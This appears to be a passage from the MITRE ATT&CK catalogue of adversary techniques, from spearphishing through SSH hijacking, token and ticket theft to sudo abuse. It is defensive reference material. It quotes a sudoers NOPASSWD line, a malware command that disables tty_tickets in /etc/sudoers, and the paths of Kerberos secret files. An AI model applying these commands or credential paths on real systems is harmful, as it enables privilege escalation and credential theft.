For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.
T1566.001Spearphishing AttachmentAdversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary’s payload exploits a vulnerability or directly executes on the user’s system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.
T1193Spearphishing AttachmentSpearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary’s payload exploits a vulnerability or directly executes on the user’s system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.
T1598.002Spearphishing AttachmentAdversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.
T1192Spearphishing LinkSpearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to Steal Application Access Tokens, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)
T1566.002Spearphishing LinkAdversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an “IDN homograph attack”).(Citation: CISA IDN ST05-016)

Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to Steal Application Access Tokens.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)
T1598.003Spearphishing LinkAdversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site.

Adversaries may also link to “web bugs” or “web beacons” within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug)

Adversaries may also be able to spoof a complete website using what is known as a “browser-in-the-browser” (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)

From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.
T1598.001Spearphishing ServiceAdversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target’s interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.
T1194Spearphishing via ServiceSpearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target’s interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that’s running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it’s something they were expecting. If the payload doesn’t work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.
T1566.003Spearphishing via ServiceAdversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target’s interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that’s running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it’s something they were expecting. If the payload doesn’t work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.
T1562.011Spoof Security AlertingAdversaries may spoof security alerting from tools, presenting false evidence to impair defenders’ awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.

Rather than or in addition to Indicator Blocking, an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., Disable or Modify Tools). An adversary can also present a “healthy” system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.

For example, adversaries may show a fake Windows Security GUI and tray icon with a “healthy” system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)
T1505.001SQL Stored ProceduresAdversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).

Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017)

Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR)
T1021.004SSHAdversaries may use Valid Accounts to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.

SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.
T1098.004SSH Authorized KeysAdversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user’s home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.

Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm)

Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user.

SSH keys can also be added to accounts on network devices, such as with the ip ssh pubkey-chain Network Device CLI command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)
T1563.001SSH HijackingAdversaries may hijack a legitimate user’s SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent’s socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)

SSH Hijacking differs from use of SSH because it hijacks an existing SSH session rather than creating a new session using Valid Accounts.
T1184SSH HijackingSecure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent’s socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)

SSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts.
T1608Stage CapabilitiesAdversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)

Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):

- Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)
- Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)
- Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer.(Citation: Volexity Ocean Lotus November 2020)
- Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).(Citation: DigiCert Install SSL Cert)
T1032Standard Cryptographic ProtocolAdversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.
T1132.001Standard EncodingAdversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.
T1165Startup ItemsPer Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.
T1037.005Startup ItemsAdversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)

This is technically a deprecated technology (superseded by Launch Daemon), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.
T1528Steal Application Access TokenAdversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.

In Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. If a container is compromised, an attacker may be able to steal the container’s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)

Token theft can also occur through social engineering, in which case user action may be required to grant access. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft’s Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.

Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user’s OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token.(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)

Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user.
T1649Steal or Forge Authentication CertificatesAdversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)

Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. Unsecured Credentials), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.(Citation: Medium Certified Pre Owned)

Abusing certificates for authentication credentials may enable other behaviors such as Lateral Movement. Certificate-related misconfigurations may also enable opportunities for Privilege Escalation, by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable Persistence via stealing or forging certificates that can be used as Valid Accounts for the duration of the certificate’s validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.

Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish Persistence by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as Golden Ticket ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)
T1558Steal or Forge Kerberos TicketsAdversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket. Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.

On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)

Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the “ccache”. The credentials are stored in the ccache file while they remain valid and generally while a user’s session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for Pass the Ticket. The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)

Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller’s environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinitklistktutil, and kcc built-in binaries or via Apple’s native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user’s TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)
T1539Steal Web Session CookieAn adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)

There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)

After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.
T1027.003SteganographyAdversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.

Duqu was an early example of malware that used steganography. It encrypted the gathered information from a victim’s system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu)

By the end of 2017, a threat group used Invoke-PSImage to hide PowerShell commands in an image file (.png) and execute the code on a victim’s system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim’s machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)
T1001.002SteganographyAdversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.
T1492Stored Data ManipulationAdversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
T1565.001Stored Data ManipulationAdversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
T1027.008Stripped PayloadsAdversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s linker when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)

Adversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of AppleScript, to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)
T1553Subvert Trust ControlsAdversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.

Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct File and Directory Permissions Modification or Modify Registry in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates)
T1169SudoThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware).

Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.
T1548.003Sudo and Sudo CachingAdversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

Within Linux and MacOS systems, sudo (sometimes referred to as “superuser do”) allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command “allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.”(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.

Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user’s password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user’s password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.

In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo ‘Defaults !tty_tickets’ >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.
T1206Sudo CachingThe sudo command “allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.” (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

Adversaries can abuse poor configurations of this to escalate privileges without needing the user’s password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user’s password. When tty_tickets is disabled, adversaries can do this from any tty for that user.

